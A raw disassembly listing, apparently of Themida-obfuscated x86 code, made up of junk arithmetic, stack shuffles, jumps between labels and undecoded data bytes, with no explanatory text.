		jmp	loc_56D044
; ---------------------------------------------------------------------------


loc_55C813:				; CODE XREF: Themida_:0055EAAEj
		mov	edi, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_55F0BB
; ---------------------------------------------------------------------------
		dw 0E981h
		dd 50663616h, 0EC81575Dh, 4, 14434E9h, 0E9F13100h, 0A59Bh
; ---------------------------------------------------------------------------


loc_55C848:				; CODE XREF: Themida_:0056AF47j
		pop	ecx
		neg	esi
		shl	esi, 1
		add	esi, 3C7C3CFEh
		jmp	loc_56599E
; ---------------------------------------------------------------------------
		dd 87048F66h, 0FFFAC2E9h, 29665EFFh, 1C8B66D8h,	0E3895324h
		dd 50B9E9h, 4EC8300h, 0BD242C89h, 528814D4h, 0C2E9EA01h
		db 0BCh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55C883:				; CODE XREF: Themida_:00561021j
		or	edx, 60BE3758h
		push	3446h
		mov	[esp], edx
		push	edx
		push	6E3Ch
		mov	[esp], eax
		jmp	loc_55CE5D
; ---------------------------------------------------------------------------
		db 5Eh
		dd 34FFFD01h, 2434FF24h, 51243C8Bh, 0C1815954h,	4, 8704C183h
		dd 525C240Ch, 43E9E289h, 0FF000129h, 5F042474h,	5C24048Fh
		dd 16B1EB81h, 0BE56387Eh, 3C35686Bh, 15EF301h, 98E955C3h
		dd 6600000Dh, 4401E95Fh, 9C680001h, 89000039h, 0EC812434h
		dd 4, 32EE68h, 24248900h, 4240481h, 0E9000000h,	6550h
		dd 0C101C383h, 8BE902EBh
		db 6Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55C917:				; CODE XREF: Themida_:0055D140j
		xor	edi, 3AF425B4h
		not	edi
		and	edi, 62792279h
		jmp	loc_5606A1
; ---------------------------------------------------------------------------
		dw 468h
		dd 59000000h, 5359CA01h, 0FC46B4BBh, 0F8F38113h, 81573624h
		dd 613161EBh, 3091E906h, 68520001h, 2EE27D76h, 2682E95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55C956:				; CODE XREF: Themida_:005687E4j
		push	ecx
		jmp	loc_57080E
; ---------------------------------------------------------------------------
		dd 1A6868h, 24348900h, 4EC81h, 0C890000h, 5230E924h, 0EA810000h
		dd 0E113856h, 19C28158h, 0E9DDF2AAh, 1148Eh, 989F181h
		dd 0E9414B63h, 0F1E3h, 0E904C683h, 5619h
; ---------------------------------------------------------------------------


loc_55C998:				; CODE XREF: Themida_:005638D1j
		sub	edi, ebp
		pop	ebp
		add	edi, ebx
		add	edi, 68A1148Eh
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_567E29
; ---------------------------------------------------------------------------
		db 0F6h, 0DEh, 0E9h
		dd 36D1h, 0E924048Fh, 0FFFFF974h, 2474FF56h, 48F5E04h
		dd 8F055C24h, 574FBD22h, 5D5118BFh, 0C1D7F737h,	0E78105E7h
		dd 34F30F4Ch, 4D35C781h, 0F8296A7Fh, 5D0015Fh, 7ED05975h
		dd 10496E9h, 242C8700h,	6824248Bh, 62Fh, 68243489h, 2
		dd 342E9h, 240C8B00h, 0E9E78957h, 3DFh
; ---------------------------------------------------------------------------


loc_55CA18:				; CODE XREF: Themida_:0056062Dj
		mov	ebx, 4E61746Ah
		sub	ebx, ebp
		pop	ebp
		push	ecx
		push	ebx
		jmp	loc_55DCF3
; ---------------------------------------------------------------------------
		db 5Ah
		dd 0D17FE9h, 43E95800h
		db 0BDh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55CA33:				; CODE XREF: Themida_:00566E75j
		xchg	ebx, [esp]
		pop	ebx
		xchg	ebx, [esp]
		pop	edi
		push	3C89h
		mov	[esp], eax
		push	1803h
		mov	[esp], edi
		pop	eax
		jmp	loc_567C39
; ---------------------------------------------------------------------------


loc_55CA51:				; CODE XREF: Themida_:00560A03j
		add	edx, 4
		jmp	loc_5617BB
; ---------------------------------------------------------------------------
		dd 81E28952h, 4C2h, 4C28300h, 0E9241487h, 86AEh
; ---------------------------------------------------------------------------


loc_55CA70:				; CODE XREF: Themida_:005643F6j
		push	esi
		mov	esi, esp
		push	edi
		mov	edi, 5BBB238Fh
		xor	edi, 4F031F75h
		jmp	loc_562541
; ---------------------------------------------------------------------------


loc_55CA84:				; CODE XREF: Themida_:0056416Ej
		pop	edi
		add	ebp, ecx
		pop	ecx
		push	esi
		jmp	loc_55DF98
; ---------------------------------------------------------------------------
		dw 5753h
		dd 2E290568h, 0A2E95F0Dh, 53000067h, 0C381E389h, 4, 4C381h
		dd 1C870000h, 7CDBE924h
		db 2 dup(0)
word_55CAB2	dw 34FFh		; DATA XREF: Themida_:0055C1C8o
		dd 0FC77E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55CABA:				; CODE XREF: Themida_:0056CB38j
		add	esp, 4
		push	eax
		mov	eax, 4CC3F0Dh
		dec	eax
		jmp	loc_561342
; ---------------------------------------------------------------------------


loc_55CAC9:				; CODE XREF: Themida_:00560143j
		push	ebp
		mov	ebp, 0
		mov	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_564269
; ---------------------------------------------------------------------------


loc_55CADF:				; CODE XREF: Themida_:0056E8C2j
		add	eax, edx
		jmp	loc_563F5C
; ---------------------------------------------------------------------------


loc_55CAE6:				; CODE XREF: Themida_:0056C092j
		pop	esi
		push	edx
		push	4
		pop	edx
		add	esi, edx
		mov	edx, [esp]
		add	esp, 4
		sub	esi, 4
		jmp	loc_56332A
; ---------------------------------------------------------------------------
aI4Sc		db '4$閻',0
		db 0
; ---------------------------------------------------------------------------


loc_55CB09:				; CODE XREF: Themida_:0056CEFAj
		sub	ebp, 0B1C45A34h
		sub	ecx, ebp
		jmp	loc_56553A
; ---------------------------------------------------------------------------
		dw 3C87h
		dd 2C895C24h, 46824h, 535D0000h, 335FE955h, 0EE810000h
		dd 4, 5C243487h, 56241489h, 4454BB53h, 0F7436E86h, 0E9D3F7D3h
		dd 8ACh, 0C381F301h, 7B28031Ch,	42CAEB81h, 0CCE9177Ch
		dd 66000092h, 30B8B450h, 805866E6h, 0ACE9C7C6h,	5C000048h
		dd 8B242C87h, 2CD32424h, 0A8E99C24h, 43FFFFF7h,	97A4EB81h
		dd 0D829626Ch, 68A72D5Bh, 0D8296783h, 8368A705h, 2AD00567h
		dd 89572278h, 0DA6850E7h, 58775A1Bh, 0F748D0F7h, 1BDF35D0h
		dd 0C781775Ah, 59264E55h, 0EF81C701h, 59264E55h, 4EF8158h
		dd 87000000h, 895C243Ch, 26BD242Ch, 0E97B1C70h,	1C7Ch
		dd 8904EC83h, 468240Ch,	8B000000h, 0D7E9240Ch, 0F60000ACh
		dd 62CD80D5h, 0C580DDF6h, 59EE28C4h, 0E9E6F680h, 4A26h
		dd 0E4E7405h, 0F052D03h, 73E91ECDh
		db 0CAh, 2 dup(0)
byte_55CC07	db 66h			; DATA XREF: Themida_:0055C0FCo
		dd 8124048Bh, 4ECh, 24048900h, 4EC81h, 13E90000h
		db 0A8h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55CC1F:				; CODE XREF: Themida_:0056D4A2j
		pop	esp
		mov	[esp], edi
		mov	edi, esp
		push	7798h
		mov	[esp], ebx
		mov	ebx, 4
		jmp	loc_563CAE
; ---------------------------------------------------------------------------
byte_55CC37	db 66h			; DATA XREF: Themida_:0055C1A8o
		dd 51240C8Bh, 57BC68h, 0F154E900h, 0FF5C0000h, 81592434h
		dd 4C4h, 0BC54E900h, 0E95A0000h, 0E400h, 0BF57D801h, 71417164h
		dd 209CE9h, 0C7816600h,	8966B7DBh, 8EE95FFBh
		db 0E5h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55CC77:				; CODE XREF: Themida_:0056CAA8j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	ebp
		mov	ebp, 69144321h
		push	edx
		mov	edx, 0D55F045h
		add	ebp, 389F67ABh
		jmp	loc_568904
; ---------------------------------------------------------------------------
a34LH		db '34$$$h"]',0
		align 2
		dw 489h
		dd 56585424h, 463E05BEh, 0DD3E924h, 0C2290000h,	0E924048Bh
		dd 0AAE6h, 0E904EC83h, 0DE30h, 5D04C483h, 0D7DAE9h, 6E8C100h
		dd 0BF83BB53h, 0D83103A5h, 58C3015Bh, 8B241C87h, 55682424h
		dd 89000061h, 0C1E9240Ch, 66000144h, 665DEF01h,	4AA8C681h
		dd 66FE0166h, 4AA8EE81h, 6653665Fh, 66624EBBh, 5B66DE01h
		dd 5EF03166h, 4EC81h, 34890000h, 0F5BE6624h, 0DEF76676h
		dd 13C68166h, 686639h, 22F4E900h, 0C5810000h, 4, 8904EC83h
		dd 74FF242Ch, 88E90424h, 31000094h, 3BE956D8h, 5E0000C7h
		dd 26F3ED81h, 0F5017132h, 5019E9h, 0D0BA5200h, 892CD962h
		dd 3F7AE9D0h, 0E95A0000h, 0A9C6h, 5C8DE981h, 0C15A0DD6h
		dd 29E902E9h
		db 0E9h, 2 dup(0)
byte_55CD7F	db 0ACh			; DATA XREF: Themida_:0055C120o
		dd 0EC83D830h, 240C8904h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		jmp	loc_55FF9B
; ---------------------------------------------------------------------------
		dd 8B241C87h, 42E92424h, 290000A1h, 0BB535EF2h,	0E4879DDh
		dd 23E9DA21h
		db 1Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55CDBB:				; CODE XREF: Themida_:00563288j
		pop	esi
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		push	esp
		pop	ecx
		add	ecx, 4
		push	ebx
		mov	ebx, 4
		add	ecx, 6AED224Ch
		add	ecx, ebx
		jmp	loc_55E812
; ---------------------------------------------------------------------------
		dw 0DEF7h
		dd 0F681DEF7h, 7870349h, 70E9F589h, 810000DDh, 4C7h, 5861E900h
		dd 14F70000h, 242C8B24h, 4C481h, 0BA520000h, 7AAC6093h
		dd 70ED81h, 0D50124D3h,	2730E9h, 0F4FDE900h, 83BFFFFFh
		dd 57585279h, 471BE8BFh, 4EFC12Dh, 668CEF81h, 0DFF77701h
		dd 0D66AEF81h, 0F8290577h, 2C72E95Fh
		db 1, 0
; ---------------------------------------------------------------------------


loc_55CE4A:				; CODE XREF: Themida_:005637AFj
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_55C6F8
; ---------------------------------------------------------------------------
		db 8Bh,	1Ch, 24h
		dd 10697E9h
		db 0
; ---------------------------------------------------------------------------


loc_55CE5D:				; CODE XREF: Themida_:0055C89Aj
		push	13921858h
		pop	eax
		sub	eax, 13921859h
		push	eax
		pop	edx
		pop	eax
		add	dword ptr [esp+4], 4B197818h
		sub	[esp+4], edx
		jmp	loc_565F1B
; ---------------------------------------------------------------------------
		dd 4C481h, 0BD550000h, 1D0B3132h, 0F581DDF7h, 32E539Ch
		dd 0D36EE9h, 0CB295E00h, 8B2434FFh, 0C483240Ch,	4C48104h
		dd 53000000h, 337640BBh, 8BD82930h, 0C483241Ch,	5D80104h
		dd 30337640h, 0FF2434FFh, 815B2434h, 4C4h, 0E6895600h
		dd 4C681h, 0C6810000h, 4, 5C243487h, 8B240487h,	8B662424h
		dd 37682404h, 89000057h, 44E92404h, 810000A2h, 4C7h, 4C78300h
		dd 8B243C87h, 0BE0F2424h, 4AF868C8h, 0C890000h,	0F411E924h
		dd 0C481FFFFh, 4, 0E9E28952h, 0FFFFFDA0h, 8324348Bh, 0D1E904C4h
		db 0BDh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55CF2B:				; CODE XREF: Themida_:0055DBA1j
		shr	eax, 8
		dec	eax
		not	eax
		add	eax, 75DF1CCh
		xor	edx, eax
		jmp	loc_569C0C
; ---------------------------------------------------------------------------
		db 53h,	0B3h, 3Dh
		dd 8005E3C0h, 0DBF60FF3h, 0DBA68h, 0C764E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55CF52:				; CODE XREF: Themida_:00570B3Cj
		push	dword ptr [edi+eax*4]
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_562829
; ---------------------------------------------------------------------------
		db 5Eh
		dd 4EA9E981h, 0F1295E3Dh, 4EA9BE56h, 0F1015E3Dh, 0C8015E5Eh
		dd 0C0BA5259h, 294E9F72h, 29BBE9D0h, 0DFBF0001h, 0C1619035h
		dd 0F78104EFh, 9533223h, 0E7C1D7F7h, 72F78107h,	0E92DCD18h
		dd 34DFh, 0EC815A5Dh, 4, 0BB241C89h, 4,	5B32E981h, 0D901246Ch
		dd 5B32C181h, 875B246Ch, 248B240Ch, 0F355E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55CFCE:				; CODE XREF: Themida_:005692B8j
		mov	ecx, 4DD3F50h
		shr	ecx, 2
		shr	ecx, 7
		xor	ecx, 26E9Bh
		jmp	loc_569304
; ---------------------------------------------------------------------------
aTUsj		db 'T^U',0
		align 4
		dd 4DA3C281h, 0FA012B68h, 4DA3EA81h, 0B2E92B68h, 5F000142h
		dd 8B24048Fh, 0BF572424h, 55D7586Bh, 113EDE9h
		db 0
; ---------------------------------------------------------------------------


loc_55D011:				; CODE XREF: Themida_:0055E9EBj
		add	esp, 4
		add	dword ptr [esp+4], 37DC4DC0h
		push	ecx
		mov	ecx, 2400FB0h
		sub	[esp+8], ecx
		pop	ecx
		sub	[esp+4], esi
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 2400FB0h
		add	[esp+8], eax
		jmp	loc_57051C
; ---------------------------------------------------------------------------
aTsbi		db 'TB',0
		align 4
		dd 24048F59h, 243C875Ch, 0B60F665Ch, 3CB8E9C8h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55D05A:				; CODE XREF: Themida_:005645D5j
		sub	esp, 4
		jmp	loc_5703FD
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 0E9243C89h, 0AF9Ah
; ---------------------------------------------------------------------------


loc_55D070:				; CODE XREF: Themida_:0056319Dj
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		add	esp, 4
		push	ebp
		push	esp
		pop	ebp
		push	esi
		push	eax
		mov	eax, 423A0B5Eh
		mov	esi, eax
		pop	eax
		shr	esi, 2
		and	esi, 41F48D3h
		add	esi, 0FFF1FF31h
		add	ebp, esi
		pop	esi
		push	0DFAh
		mov	[esp], ebx
		jmp	loc_56B4E3
; ---------------------------------------------------------------------------


loc_55D0AC:				; CODE XREF: Themida_:0056B092j
		add	eax, 37D449C4h
		add	eax, edx
		sub	eax, 37D449C4h
		push	ebp
		jmp	loc_56A0E3
; ---------------------------------------------------------------------------
		dw 2C8Bh
		dd 204E924h, 0E95C0001h, 9F20h,	0BC27B0B8h, 0DD0F77Ch
		dd 35FE0326h, 164FE9h, 81D3F700h, 0B727A7C3h, 0C3FFE952h
		dd 0EEC00000h, 7B03E904h, 1C890000h, 5FE95724h,	5600006Ah
		dd 0CB7186BEh, 4D81BF23h, 0F7312175h, 5FFB095Eh, 5D25CB81h
		dd 0EB811A55h, 0BAFF7D2Bh, 685BDA01h, 7739h, 2204E9h
		db 0
; ---------------------------------------------------------------------------


loc_55D125:				; CODE XREF: Themida_:00566E5Ej
		pop	ebp
		push	ebx
		jmp	loc_56362A
; ---------------------------------------------------------------------------
		dd 0E95BB050h, 1929h
; ---------------------------------------------------------------------------


loc_55D134:				; CODE XREF: Themida_:00567F19j
		push	edi
		mov	edi, 78451945h
		xor	edi, 34291CCCh
		jmp	loc_55C917
; ---------------------------------------------------------------------------


loc_55D145:				; CODE XREF: Themida_:0056649Cj
		mov	ebx, 4CC642BAh
		dec	ebx
		shr	ebx, 1
		push	ecx
		mov	ecx, 795C24E1h
		jmp	loc_56B444
; ---------------------------------------------------------------------------
		dd 0C7A468BFh, 5FFA294Fh, 148BD089h, 4C48324h, 588C68h
		dd 24348900h, 0B554E9h
		db 0
; ---------------------------------------------------------------------------


loc_55D175:				; CODE XREF: Themida_:0056B2E9j
		push	edi
		mov	edi, 4
		add	ebx, edi
		jmp	loc_563339
; ---------------------------------------------------------------------------


loc_55D182:				; CODE XREF: Themida_:00563F61j
		pop	edx
		push	eax
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_5670A8
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C483241Ch, 0F7CE8704h, 2493E9D1h, 0BE560001h, 357852D6h
		dd 449AE9h
		db 0
; ---------------------------------------------------------------------------


loc_55D1A9:				; CODE XREF: Themida_:0056D65Dj
		add	ebx, esi
		pop	esi
		mov	ebp, ebx
		pop	ebx
		add	ebx, ebp
		mov	ebp, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		xchg	ebx, [esp]
		jmp	loc_5625E9
; ---------------------------------------------------------------------------


loc_55D1CF:				; CODE XREF: Themida_:00570473j
		push	esi
		push	edi
		jmp	loc_563DE1
; ---------------------------------------------------------------------------
		dw 0C083h
		dd 6FD2DFFh, 73E95D5Dh
		db 32h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55D1E3:				; CODE XREF: Themida_:00567790j
		add	edx, 3AAC0D7Eh
		pop	edi
		push	edi
		jmp	loc_56E96D
; ---------------------------------------------------------------------------


loc_55D1F0:				; CODE XREF: Themida_:0056A9E4j
		pop	esp
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], eax
		xchg	ebp, [esp]
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_55FD62
; ---------------------------------------------------------------------------
aQB?z9s		db ')]?Z9',0Ah,0
		align 2


loc_55D216:				; CODE XREF: Themida_:00569B89j
		push	edx
		mov	edx, 1CCC6410h
		sub	ecx, edx
		pop	edx
		jmp	loc_55C60D
; ---------------------------------------------------------------------------


loc_55D224:				; CODE XREF: Themida_:005603F4j
		mov	eax, 0BC42263h
		mov	ebx, 61982A7Eh
		add	ebx, eax
		pop	eax
		sub	esp, 4
		mov	[esp], esi
		mov	esi, ebx
		push	38F1h
		mov	[esp], esi
		jmp	loc_56E048
; ---------------------------------------------------------------------------
		db 1, 0F9h, 8Bh
		dd 6EE9243Ch, 8000001Ch, 0CF08C5C1h, 5943E9h, 40500h, 57E90000h
		dd 8900004Ah, 0E9572404h, 0BE99h, 8B2434FFh, 0C4812404h
		dd 4, 35DE68h, 240C8900h, 0C068E189h, 89000057h, 94E9241Ch
		db 22h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55D293:				; CODE XREF: Themida_:00560F66j
		push	ebp
		mov	ebp, 0AE56448h
		add	eax, 0F373958h
		sub	eax, ebp
		jmp	loc_56AC67
; ---------------------------------------------------------------------------
		db 89h,	0E3h, 81h
		dd 4C3h, 4C38300h, 31241C33h, 1C33241Ch, 2C815C24h, 44303524h
		dd 0F05DE95Eh, 0C501FFFFh, 8324048Bh, 0B95104C4h, 255C26FBh
		dd 0B1AAE9BFh, 0E9CF01D5h, 6Ah,	5F87E981h, 0BA521252h
		dd 35FC4359h, 4ADAF74Ah, 80C28142h, 17C9FA6h, 0E95B5AD1h
		dd 12BF7h, 8FC0B60Fh, 18E98704h, 81FFFFF0h, 7DB12434h
		dd 555E5732h, 0A17FC7BDh, 0E9EDD149h, 8060h, 2292E95Ch
		dd 0D2F60000h, 0B684E9h
		db 0
; ---------------------------------------------------------------------------


loc_55D32D:				; CODE XREF: Themida_:0056DCDEj
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		and	ecx, edi
		push	dword ptr [esp]
		mov	edi, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_56D1AF
; ---------------------------------------------------------------------------
		dw 159h
		dd 665E9EFh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55D352:				; CODE XREF: Themida_:0056968Dj
		mov	edi, esp
		add	edi, 4
		jmp	loc_56E991
; ---------------------------------------------------------------------------
		db 89h
		dd 4C681E6h, 83000000h,	343304C6h, 24343124h, 8B243433h
		dd 0C15A2424h, 0A8E902EAh, 5F000130h, 1892C781h, 575289DEh
		dd 0A3D6ABFh, 0C5EF8156h, 811E2A6Bh, 0E49625F7h, 0C58FE914h
		dd 835B0000h, 3C3304C7h, 243C3124h, 8B243C33h, 34FF2424h
		dd 240C8B24h, 8304C483h, 148904ECh, 7FE95624h, 0BAFFFFFCh
		dd 67B82042h, 36C6F281h, 0CA814F49h, 382146ABh,	0C19AE9h
		db 0
; ---------------------------------------------------------------------------


loc_55D3D9:				; CODE XREF: Themida_:0056CC5Bj
		mov	[esp], edx
		mov	edx, 6629542Ch
		xor	edx, 3AFE25D8h
		and	edx, 35D0517h
		shl	edx, 1
		jmp	loc_55F9BC
; ---------------------------------------------------------------------------
		dd 3B6FEB81h, 0DE89F194h, 8E7FE9h
		db 0
; ---------------------------------------------------------------------------


loc_55D401:				; CODE XREF: Themida_:00569BFFj
		add	eax, edi
		push	4136h
		mov	[esp], edi
		mov	edi, 5722253Bh
		add	eax, 6E05193Fh
		add	eax, edi
		sub	eax, 6E05193Fh
		mov	edi, [esp]
		add	esp, 4
		push	dword ptr [eax]
		mov	ecx, [esp]
		jmp	loc_566844
; ---------------------------------------------------------------------------
byte_55D42F	db 66h			; DATA XREF: Themida_:0055C2ACo
		dd 5124048Bh, 150668h, 48F5400h, 24048124h, 4, 83240C8Bh
		dd 0A26804C4h, 89000009h, 5A542414h, 4C281h, 3CE90000h
		dd 81000128h, 403C1FC3h, 24048B60h, 8704C483h, 248B241Ch
		dd 2424D224h, 0EEA9E99Ch, 0E959FFFFh, 12152h
; ---------------------------------------------------------------------------


loc_55D480:				; CODE XREF: Themida_:0055E819j
		mov	ebp, ebx
		jmp	loc_56CEF9
; ---------------------------------------------------------------------------


loc_55D487:				; CODE XREF: Themida_:0056C9DDj
		add	bl, 8Dh
		jmp	loc_56F265
; ---------------------------------------------------------------------------
		db 88h
		dd 0B3535BF8h, 80D3F672h, 0D80886EBh, 0D06BE95Bh, 0D4F60000h
		dd 7BE268h, 24148900h, 0CEE9E688h, 81000054h, 0FD7F95F6h
		dd 19A4E93Ch, 835D0000h, 148904ECh, 56E28924h, 2740D5BEh
		dd 0FFEE8353h, 0F681EED1h, 5FF44D41h, 1354CE9h,	24048900h
		dd 7BB06856h, 348B6EFFh, 4C48324h, 7A68E9h, 0F8E95000h
		dd 0B000001Ch, 2A2BE91Fh, 88510000h, 59EB88E5h,	0EC38058h
		dd 12409E9h, 8D4BD00h, 45452160h, 6199F581h, 0EB296D1Bh
		dd 81242C8Bh, 4C4h, 91F38100h, 0E9314035h, 0A3B1h, 4E5AD689h
		dd 1611CE81h, 814648CDh, 3A2DE3F6h, 5EF38914h, 7276E981h
		dd 0D9017C8Eh, 11FDEE9h, 5BDC8800h, 0E967EC80h,	6455h
; ---------------------------------------------------------------------------


loc_55D55C:				; CODE XREF: Themida_:0055EF5Fj
		mov	[esp], ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		jmp	loc_56021D
; ---------------------------------------------------------------------------


loc_55D56C:				; CODE XREF: Themida_:0056341Ej
		mov	dh, 0C7h
		not	dh
		push	eax
		mov	al, 7Bh
		jmp	loc_5613B1
; ---------------------------------------------------------------------------
dword_55D578	dd 24048B66h, 68E78957h, 735Eh,	3628E9h, 34BB5300h, 1B0BB35h
					; DATA XREF: Themida_:0055C1A0o
		dd 0BD555BDAh, 57760E60h, 8105EDC1h, 0CE31D6CDh, 0DDF74533h
		dd 5834ED81h, 0C5817E19h, 0BDAD6E62h, 0AFE9E829h
		db 56h,	2 dup(0)
byte_55D5B7	db 0FFh			; DATA XREF: Themida_:0055C1C0o
		dd 669D1C77h, 241CD359h, 0ED5DE99Ch, 481FFFFh, 424h, 7A5E900h
		dd 4300000h, 48E99C24h,	68FFFFEDh, 15B567D8h, 0E9EAD15Ah
		dd 670Eh
; ---------------------------------------------------------------------------


loc_55D5E8:				; CODE XREF: Themida_:00568D7Cj
		sub	esp, 4
		jmp	loc_56A2FB
; ---------------------------------------------------------------------------
		dd 4245C01h, 24048F5Bh,	4240481h, 8B000000h, 0C483240Ch
		dd 4B85004h, 1000000h, 24048BC1h, 10716E9h, 54E95200h
		db 3Dh,	1, 0
byte_55D61B	db 0FFh			; DATA XREF: Themida_:0055C288o
		db 34h,	24h, 58h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, 4
		add	ebp, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	6342h
		mov	[esp], edx
		mov	edx, 415F7DF7h
		push	ebp
		jmp	loc_56D6CE
; ---------------------------------------------------------------------------


loc_55D643:				; CODE XREF: Themida_:00568F53j
		push	511Fh
		mov	[esp], esi
		push	1
		mov	esi, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		and	eax, esi
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		push	15A1h
		jmp	loc_570A5D
; ---------------------------------------------------------------------------
		db 0BDh
		dd 3C35686Bh, 815DEB29h, 7E16B1C3h, 2C76E938h, 0F2290001h
		dd 0B8C2815Eh, 0E9D4CE7Ch, 19F0h, 8B663C04h, 89512414h
		dd 4B850E1h, 1000000h, 0C18158C1h, 2, 5C240C87h, 0D8282A04h
		dd 0E902EC83h, 0C1A3h, 0BAE9D801h, 20000012h, 241C8BDEh
		dd 4C481h, 0EEC00000h, 6EEC006h, 0FFF47AE9h, 665B66FFh
		dd 0D829665Dh, 64486866h, 0A2E2E9h, 0CF685600h,	5E68D27Ch
		dd 6C30E952h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55D6FE:				; CODE XREF: Themida_:0056DAB1j
		push	edx
		mov	edx, 48CB5BBAh
		jmp	loc_55DA3E
; ---------------------------------------------------------------------------
aIVNBsI		db ']V(N',9,'bψ',0
		dw 8300h
		dd 3C8904ECh, 480A6824h, 895F3050h, 243C8BFEh, 104C483h
		dd 0E9042474h, 12ACBh, 0E924248Bh, 0FFFFFE96h, 2BE56h
		dd 0F2010000h, 2414335Eh, 0E9241431h, 0D4C0h, 0E27BB53h
		dd 0E94328CFh, 0FC8Ah
; ---------------------------------------------------------------------------


loc_55D75C:				; CODE XREF: Themida_:0056E708j
		mov	[esp], eax
		jmp	loc_55C3FD
; ---------------------------------------------------------------------------
aTbUMqsmz	db '',0Dh,'U}MQ鬧',0
		align 2


loc_55D772:				; CODE XREF: Themida_:005687FDj
		mov	[esp], edi
		push	ebp
		mov	ebp, 81E37D9h
		dec	ebp
		add	ebp, 60A2ECC2h
		mov	edi, ebp
		pop	ebp
		add	dword ptr [esp+4], offset byte_494125
		sub	[esp+4], edi
		push	edi
		mov	edi, offset byte_494125
		sub	[esp+8], edi
		pop	edi
		pop	edi
		jmp	loc_568A4B
; ---------------------------------------------------------------------------
aSss		db 'S',0
		align 4
		dd 9BFE959h
		db 1, 0
; ---------------------------------------------------------------------------


loc_55D7AE:				; CODE XREF: Themida_:0055D83Aj
		sub	ebp, 22BDE273h
		sub	ecx, 27803C8Ch
		sub	ecx, 2ECD3237h
		jmp	loc_56DE39
; ---------------------------------------------------------------------------
		db 52h,	50h, 0B0h
		dd 0C0E40CB9h, 9F0C02E8h, 126C8E9h, 5BDD0100h, 2C8BE801h
		dd 4C48324h, 7CFE68h, 242C8900h, 6F2757BDh, 183EE964h
		dd 0C4810001h, 2, 20CBB050h, 0E284E9C6h, 5A540000h, 4C281h
		dd 0E9500000h, 0C73Fh, 1C8BD989h, 4C48124h, 0E9000000h
		dd 1143Dh, 0C8B5B51h, 4C48324h,	9AC014B8h, 0FE92E9ABh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D832:				; CODE XREF: Themida_:0056217Bj
		pop	esi
		inc	ebp
		sub	ebp, 0BA29F9h
		jmp	loc_55D7AE
; ---------------------------------------------------------------------------
		db 5Ch
		dd 89240C89h, 0F3BB53E1h, 81651B70h, 0B621C3F3h, 50D3F745h
		dd 0A61A77B8h, 4EC8102h, 89000000h, 0BE56242Ch,	0DDF4B4BCh
		dd 315EF589h, 0C3295DE8h, 1311CE9h, 242C8B00h, 0D069E9h
		dd 8E2C000h, 802CEA80h,	0D700D4EFh, 0E9D4C780h,	488Bh
		dd 4240481h, 59000000h,	8904EC83h, 6856241Ch, 3A8F674Dh
		dd 5E6C15Eh, 0A1C8E9h
		db 0
; ---------------------------------------------------------------------------


loc_55D8AD:				; CODE XREF: Themida_:0056664Cj
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	ebp
		mov	ebp, 4
		jmp	loc_56199A
; ---------------------------------------------------------------------------


loc_55D8C8:				; CODE XREF: Themida_:0056F7C4j
		add	edx, eax
		pop	eax
		sub	esp, 4
		jmp	loc_55F502
; ---------------------------------------------------------------------------
		dw 0DE31h
		dd 0D7E9F331h, 1000034h, 94F5E9C3h, 1580000h, 242C8BEBh
		dd 10026E9h
		db 0
; ---------------------------------------------------------------------------


loc_55D8F1:				; CODE XREF: Themida_:0056878Bj
		mov	edi, 34EF0AE9h
		add	ecx, edi
		pop	edi
		sub	ebx, ecx
		mov	ecx, [esp]
		add	esp, 4
		pop	esi
		add	ebx, 4
		push	7D6Dh
		mov	[esp], ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		jmp	loc_56BECE
; ---------------------------------------------------------------------------
		dd 5FFB015Ah, 19C2E381h, 0D3F71450h, 7EBC143h, 0CBAE952h
